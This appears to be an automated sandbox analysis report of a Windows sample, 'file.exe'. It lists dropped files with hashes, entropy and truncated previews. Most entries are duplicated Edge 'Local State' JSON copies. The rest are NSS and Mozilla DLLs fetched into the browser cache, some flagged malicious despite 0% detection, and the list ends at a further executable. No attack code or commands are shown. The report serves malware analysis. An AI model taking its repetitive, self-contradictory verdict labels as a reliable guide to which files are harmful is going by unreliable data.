Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089558991763027
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4k3TKKGf4SetBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynht5b7VLyMV/YoskFoz
MD5:	85FD6E2C6C8AD300DE0D5DCFE2EC3785
SHA1:	2720B1649C73DE7616754995F5FDAA5908C38E81
SHA-256:	84F4EF807288B9BF64DCF3B5EBA10528969D526B05500C431869C6B718BD9052
SHA-512:	76B73B2DD88BEA27C890AA3D1FD7E3F4CED0588085BA285589D515323314235D434FA0E2DDA167BE987B73580B767D2A496769A25EE3BEADCDB96F1A920DC00C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF251ee.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089558991763027
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4k3TKKGf4SetBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynht5b7VLyMV/YoskFoz
MD5:	85FD6E2C6C8AD300DE0D5DCFE2EC3785
SHA1:	2720B1649C73DE7616754995F5FDAA5908C38E81
SHA-256:	84F4EF807288B9BF64DCF3B5EBA10528969D526B05500C431869C6B718BD9052
SHA-512:	76B73B2DD88BEA27C890AA3D1FD7E3F4CED0588085BA285589D515323314235D434FA0E2DDA167BE987B73580B767D2A496769A25EE3BEADCDB96F1A920DC00C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2520e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089558991763027
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4k3TKKGf4SetBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynht5b7VLyMV/YoskFoz
MD5:	85FD6E2C6C8AD300DE0D5DCFE2EC3785
SHA1:	2720B1649C73DE7616754995F5FDAA5908C38E81
SHA-256:	84F4EF807288B9BF64DCF3B5EBA10528969D526B05500C431869C6B718BD9052
SHA-512:	76B73B2DD88BEA27C890AA3D1FD7E3F4CED0588085BA285589D515323314235D434FA0E2DDA167BE987B73580B767D2A496769A25EE3BEADCDB96F1A920DC00C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF25d68.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089558991763027
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4k3TKKGf4SetBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynht5b7VLyMV/YoskFoz
MD5:	85FD6E2C6C8AD300DE0D5DCFE2EC3785
SHA1:	2720B1649C73DE7616754995F5FDAA5908C38E81
SHA-256:	84F4EF807288B9BF64DCF3B5EBA10528969D526B05500C431869C6B718BD9052
SHA-512:	76B73B2DD88BEA27C890AA3D1FD7E3F4CED0588085BA285589D515323314235D434FA0E2DDA167BE987B73580B767D2A496769A25EE3BEADCDB96F1A920DC00C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF25d78.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089558991763027
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4k3TKKGf4SetBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynht5b7VLyMV/YoskFoz
MD5:	85FD6E2C6C8AD300DE0D5DCFE2EC3785
SHA1:	2720B1649C73DE7616754995F5FDAA5908C38E81
SHA-256:	84F4EF807288B9BF64DCF3B5EBA10528969D526B05500C431869C6B718BD9052
SHA-512:	76B73B2DD88BEA27C890AA3D1FD7E3F4CED0588085BA285589D515323314235D434FA0E2DDA167BE987B73580B767D2A496769A25EE3BEADCDB96F1A920DC00C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.3488360343066725
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ25AmIpozQp:YQ3Kq9X0dMgAEiLIj
MD5:	8549C255650427D618EF18B14DFD2B56
SHA1:	8272585186777B344DB3960DF62B00F570D247F6
SHA-256:	40395D9CA4B65D48DEAC792844A77D4F8051F1CEF30DF561DACFEEED3C3BAE13
SHA-512:	E5BB8A0AD338372635C3629E306604E3DC5A5C26FB5547A3DD7E404E5261630612C07326E7EBF5B47ABAFADE8E555965A1A59A1EECFC496DCDD5003048898A8C
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":true,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\aac6791c-1e1a-46ef-8e38-6bf9278c302a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44699
Entropy (8bit):	6.0949650892442495
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kfqKKGf4Uua9OB01XPXmN7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynPuaYN7VLyMV/YoskFoz
MD5:	B03F745BDFB7B56D607C0AF883FAE0AA
SHA1:	2D5BE8FB34A0AB760B68772C1B0127C187B6882D
SHA-256:	52DC1BA5C02AFAB6BDED5C151888C09A6FD0AEABABDBEEDEC6ECC23E6146CDEA
SHA-512:	AC6E0CF33A966438E6424D0582EAD0D20C0D5C2056E4DA7C60B3CDDCFEA8B5260474078F4B79530FEF9A461D036938DA281F9B26F0F3DA7F734C2B6186D24210
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\c8de3d69-b2ac-4956-bce8-2835cdd320f0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44734
Entropy (8bit):	6.095324205908582
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kfqKKGf4UuaTCTf+UDNN7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynPuaUN7VLyMV/YoskFoz
MD5:	4BD4257C5E252E4DD4C68B6B5A428C6C
SHA1:	104FDA3A339C6325CF3757F5BA0AEBB29478B4F1
SHA-256:	45AC14FB3085FF25E481F0E769B31C8CB702B9DDE5892D7C530850C7CD93A933
SHA-512:	D0EFD0657493A325B86D09A71333D6990E62AEC681D8139ECE4EA1BAAB5B49BDD1D33FC85973653D99866E5916CD05FD7FDCD17796F595AEFB08F348981EE75B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\dc31c7db-be72-40a7-8b75-860f2100b968.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44734
Entropy (8bit):	6.095324205908582
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kfqKKGf4UuaTCTf+UDNN7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynPuaUN7VLyMV/YoskFoz
MD5:	4BD4257C5E252E4DD4C68B6B5A428C6C
SHA1:	104FDA3A339C6325CF3757F5BA0AEBB29478B4F1
SHA-256:	45AC14FB3085FF25E481F0E769B31C8CB702B9DDE5892D7C530850C7CD93A933
SHA-512:	D0EFD0657493A325B86D09A71333D6990E62AEC681D8139ECE4EA1BAAB5B49BDD1D33FC85973653D99866E5916CD05FD7FDCD17796F595AEFB08F348981EE75B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\fe36fb28-7403-4cfe-b268-dfde15f0d985.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089558991763027
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4k3TKKGf4SetBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynht5b7VLyMV/YoskFoz
MD5:	85FD6E2C6C8AD300DE0D5DCFE2EC3785
SHA1:	2720B1649C73DE7616754995F5FDAA5908C38E81
SHA-256:	84F4EF807288B9BF64DCF3B5EBA10528969D526B05500C431869C6B718BD9052
SHA-512:	76B73B2DD88BEA27C890AA3D1FD7E3F4CED0588085BA285589D515323314235D434FA0E2DDA167BE987B73580B767D2A496769A25EE3BEADCDB96F1A920DC00C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
